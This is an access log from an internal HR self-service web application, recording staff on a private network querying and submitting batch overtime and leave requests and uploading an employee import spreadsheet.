192.168.11.136 - - [25/May/2023:09:07:28 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.228 - - [25/May/2023:09:07:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969
192.168.11.228 - - [25/May/2023:09:07:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:07:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 64209
192.168.11.236 - - [25/May/2023:09:07:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 64209 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:07:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:07:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066
192.168.11.236 - - [25/May/2023:09:07:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:07:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066
192.168.11.228 - - [25/May/2023:09:07:40 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12634 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:07:40 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12634
192.168.11.236 - - [25/May/2023:09:08:04 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7223391948919553 HTTP/1.1" 200 13392 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:08:04 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7223391948919553 HTTP/1.1" 200 13392
192.168.11.236 - - [25/May/2023:09:08:10 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7223391948919553 HTTP/1.1" 200 15563 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7223391948919553" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:08:10 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7223391948919553 HTTP/1.1" 200 15563
192.168.11.228 - - [25/May/2023:09:08:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 10061 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:08:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 10061
192.168.11.236 - - [25/May/2023:09:08:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4195
192.168.11.236 - - [25/May/2023:09:08:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4195 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:08:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:08:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066
192.168.11.228 - - [25/May/2023:09:08:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 10061 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:08:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 10061
192.168.11.236 - - [25/May/2023:09:08:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:08:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.228 - - [25/May/2023:09:08:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 10837 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:08:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 10837
192.168.11.228 - - [25/May/2023:09:08:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12392 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:08:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12392
192.168.11.228 - - [25/May/2023:09:09:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12392 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:09:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12392
192.168.11.236 - - [25/May/2023:09:09:06 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.645442811027737 HTTP/1.1" 200 13392 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:09:06 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.645442811027737 HTTP/1.1" 200 13392
192.168.11.236 - - [25/May/2023:09:09:10 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.645442811027737 HTTP/1.1" 200 15564
192.168.11.236 - - [25/May/2023:09:09:10 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.645442811027737 HTTP/1.1" 200 15564 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.645442811027737" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:09:24 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 9211 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:09:24 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 9211
192.168.11.228 - - [25/May/2023:09:09:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12389 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:09:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12389
192.168.11.228 - - [25/May/2023:09:09:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 10840 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:09:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 10840
192.168.11.236 - - [25/May/2023:09:09:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 -
192.168.11.236 - - [25/May/2023:09:09:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:09:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:09:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.228 - - [25/May/2023:09:09:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 13168 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:09:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 13168
192.168.11.236 - - [25/May/2023:09:10:05 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7244801913294563 HTTP/1.1" 200 13392
192.168.11.236 - - [25/May/2023:09:10:05 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7244801913294563 HTTP/1.1" 200 13392 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:10:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12389
192.168.11.228 - - [25/May/2023:09:10:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12389 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:10:13 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7244801913294563 HTTP/1.1" 200 15574
192.168.11.236 - - [25/May/2023:09:10:13 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7244801913294563 HTTP/1.1" 200 15574 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7244801913294563" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:10:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12392 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:10:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12392
192.168.11.236 - - [25/May/2023:09:10:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4077
192.168.11.236 - - [25/May/2023:09:10:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4077 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:10:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:10:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.236 - - [25/May/2023:09:10:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:10:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.236 - - [25/May/2023:09:10:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:10:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.228 - - [25/May/2023:09:10:40 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 13944 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:10:40 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 13944
192.168.11.236 - - [25/May/2023:09:10:58 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.6960413787281883 HTTP/1.1" 200 5264
192.168.11.236 - - [25/May/2023:09:10:58 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.6960413787281883 HTTP/1.1" 200 5264 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:11:09 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.6960413787281883 HTTP/1.1" 302 -
192.168.11.236 - - [25/May/2023:09:11:09 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.6960413787281883 HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.6960413787281883" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:11:10 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5068
192.168.11.236 - - [25/May/2023:09:11:10 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5068 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.6960413787281883" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:11:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 13944 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:11:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 13944
192.168.11.236 - - [25/May/2023:09:11:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4720
192.168.11.236 - - [25/May/2023:09:11:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4720 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:11:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:11:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.236 - - [25/May/2023:09:11:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
